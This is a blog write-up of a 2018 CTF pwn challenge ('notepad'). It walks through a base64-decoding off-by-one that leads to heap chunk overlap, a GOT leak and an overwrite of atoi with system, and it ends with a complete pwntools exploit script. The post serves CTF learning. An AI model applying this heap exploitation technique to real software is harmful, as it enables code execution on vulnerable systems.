前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >2018科来杯PWN复现(二)

2018科来杯PWN复现(二)

作者头像
yichen
发布2020-11-09 12:21:25
4760
发布2020-11-09 12:21:25
举报

这道题官方 WP 说是:CVE-2018-6789,本来想先复现一下漏洞再来看题,但是真实的漏洞比题目复杂,就又滚回来复现这道题目了Orz

题目地址:

https://pan.baidu.com/s/1_rwQCWIeII8zTQSdkTgPVw

提取码:jpzx

参考:

https://leeeddin.github.io/cve-2018-6789-off-by-one/

完整 EXP 放后面吧不然影响阅读

程序自己会申请 0x30 大小的 chunk(malloc(0x28) 但是要对齐所以 0x30)用来直接存放 name、base64 解码后的 password 的指针以及 content 的指针,同时申请的这个会被放到 bss 段的 ptr 数组上面,后面把这个程序申请的 chunk 称为 note_header

说一下漏洞点:

前置知识:Base64编码C语言实现

在涉及 password 的时候会 malloc 相应的 size,通过对 base64 编码的了解,我们已经知道了 base64 编码后应该是 4 的倍数,它将会被解码为 3 的倍数的长度,然后下面的代码中给了 3n + 1 的空间,是没有问题的

但是如果构造一个 4n+3 的 base64 编码去让他解码用到的就是 3n+2 就 off by one 了

例如:123 经过 base64 编码之后是:MTIz,在末尾加上字符:'MTI',去解码的时候会解码为 12312

本来是 4*1,加上两个之后就是 4*1+3 然后解码出来是 3*1+2

同时会在 *(_DWORD *)(note_header + 36) = 1 标注是否设置了 password

delete 的时候分别 free 掉 password 与 content 的指针,但是没有置为 null,仅仅是把 bss 段存放的 note_header 给删掉了

一开始这样去 malloc

代码语言:javascript
复制
passwd = "yichen".encode("base64") + "\x00"
addnote('1'*0x10,passwd,0x1c0,'1')
addnote('2'*0x10,passwd,0x20,'2')
addnote('3'*0x10,passwd,0x20,'3')
代码语言:javascript
复制

布局是这样的

代码语言:javascript
复制
delnote('1'*0x10,passwd)
#free(0x20)、free(0x1d0)、free(0x30)
addnote('1'*0x10,passwd,0x30,'aaaaaaa')
#malloc(0x30)、malloc(0x20)、malloc(0x40)
editnote('2'*0x10, passwd, 0x88-1, "b"*0x10)
#free(0x30)、malloc(0x90)
editnote('3'*0x10, passwd, 0xf8-1, "c"*0x10)
#free(0x30)、malloc(0x100)

然后删掉第 1 个(他是用 name 来选择的,我们就用 name 的值来交流啦),然后 malloc 0x30 去分割那个比较大的 chunk,再编辑一下之前的 content,此时布局如下

原本 1 的 content 大小 0x1d0 被分为 0x40+0x90+0x100,空出来了 2 的 content(0x603270) 与 3 的 content(0x6032f0) 两个 0x30 大小的

注意到在最后多出来一个 0x20 大小的 free chunk 是 delete 的时候检查 password 留下的

这时候去做如下编辑

代码语言:javascript
复制
delnote("2"*0x10, passwd)
#检查password应该会直接用最后面的0x20的free chunk
#free(0x20)、free(0x90)、free(0x30)
evilpd = ("A"*0x88+'1').encode("base64").replace("\n","")[:-1]+"\x00"4
addnote("2"*0x10, evilpd, 0x20-1, "padding")
#再去create的时候用上面free的0x30存放程序自己申请的那个note_header
#password会放到0x90那个地方,而content会放到前面剩下的一个0x30那里

password 的 off by one 会修改下面那个 0x100 大小的为 0x130

代码语言:javascript
复制
atoi_got = 0x602090
pwd2addr = 0x4019E6 #name exist
payload = ""
payload += "A"*0xf0
payload += p64(0x100)
payload += p64(0x31)
payload += '2'*0x10
payload += p64(pwd2addr)
payload += p64(atoi_got)
payload += p64(0x000000100001000)
editnote("3"*0x10,passwd,0x128-1,payload)
newpd = "name exist\x00".encode("base64")
shownote("2"*0x10,newpd)
atoiaddr = u64(io.recv(6).ljust(8,'\x00'))
libcbase = atoiaddr - libc.symbols['atoi']
sysaddr = libcbase + libc.symbols['system']
代码语言:javascript
复制

然后 edit 的时候就可以直接覆盖掉下面那块 0x30大小的第二个的 note_header,有个问题是需要 password,可以把 password 指针改为存在的一个字符串的地址,比如:0x4019E6,再去 show 的时候可以拿到 atoi 的 got 地址,算出 system 的地址

然后 edit2 把 atoi 的地址改为 system 的地址,然后发一个 '/bin/sh' 就可以啦

代码语言:javascript
复制
payload = p64(sysaddr)
editnote("2"*0x10,newpd,0x10,payload)
p.sendlineafter('choice> ','/bin/sh\x00')
p.interactive()
代码语言:javascript
复制

参考的师傅的 exp 没有发送 '/bin/sh' 也可以!?不知道什么原因

完整 EXP:

代码语言:javascript
复制
#!/usr/bin/env python
# -*- coding=utf8 -*-
from pwn import *
p = process('./notepad')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'info'

def addnote(name,password,size,content):
 p.sendlineafter('choice> ','1')
 p.sendafter('name> ',name)
 p.sendlineafter('no)> ','1')
 p.sendlineafter('word> ',password)
 p.sendlineafter('size> ',str(size))
 p.sendlineafter('content> ',content)

def shownote(name,passwd):
 p.sendlineafter('choice> ','2')
 p.sendafter('name> ',name)
 p.sendlineafter('word> ',passwd)
 
def editnote(name,passwd,size,content):
 p.sendlineafter('choice> ','3')
 p.sendafter('name> ',name)
 p.sendlineafter('word> ',passwd)
 p.sendlineafter('no)> ','0')
 p.sendlineafter('size> ',str(size))
 p.sendlineafter('content> ',content)
 
def delnote(name,passwd):
 p.sendlineafter('choice> ','4')
 p.sendafter('name> ',name)
 p.sendlineafter('password> ',passwd)

passwd = "yichen".encode("base64") + "\x00"
addnote('1'*0x10,passwd,0x1c0,'1')
addnote('2'*0x10,passwd,0x20,'2')
addnote('3'*0x10,passwd,0x20,'3')
delnote('1'*0x10,passwd)
addnote('1'*0x10,passwd,0x30,'aaaaaaa')
editnote('2'*0x10, passwd, 0x88-1, "b"*0x10)
editnote('3'*0x10, passwd, 0xf8-1, "c"*0x10)

delnote("2"*0x10, passwd)
evilpd = ("A"*0x88+'1').encode("base64").replace("\n","")[:-1]+"\x00"
addnote("2"*0x10, evilpd, 0x20-1, "padding")

atoi_got = 0x602090
pwd2addr = 0x4019E6 #name exist\x00
payload = ""
payload += "A"*0xf0
payload += p64(0x100)
payload += p64(0x31)
payload += '2'*0x10
payload += p64(pwd2addr)
payload += p64(atoi_got)
payload += p64(0x000000100001000)
editnote("3"*0x10,passwd,0x128-1,payload)

newpd = "name exist\x00".encode("base64")
shownote("2"*0x10,newpd)
atoiaddr = u64(p.recv(6).ljust(8,'\x00'))
libcbase = atoiaddr - libc.symbols['atoi']
sysaddr = libcbase + libc.symbols['system']

payload = p64(sysaddr)
editnote("2"*0x10,newpd,0x10,payload)
p.sendlineafter('choice> ','/bin/sh\x00')
p.interactive()
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-11-01,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 陈冠男的游戏人生 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档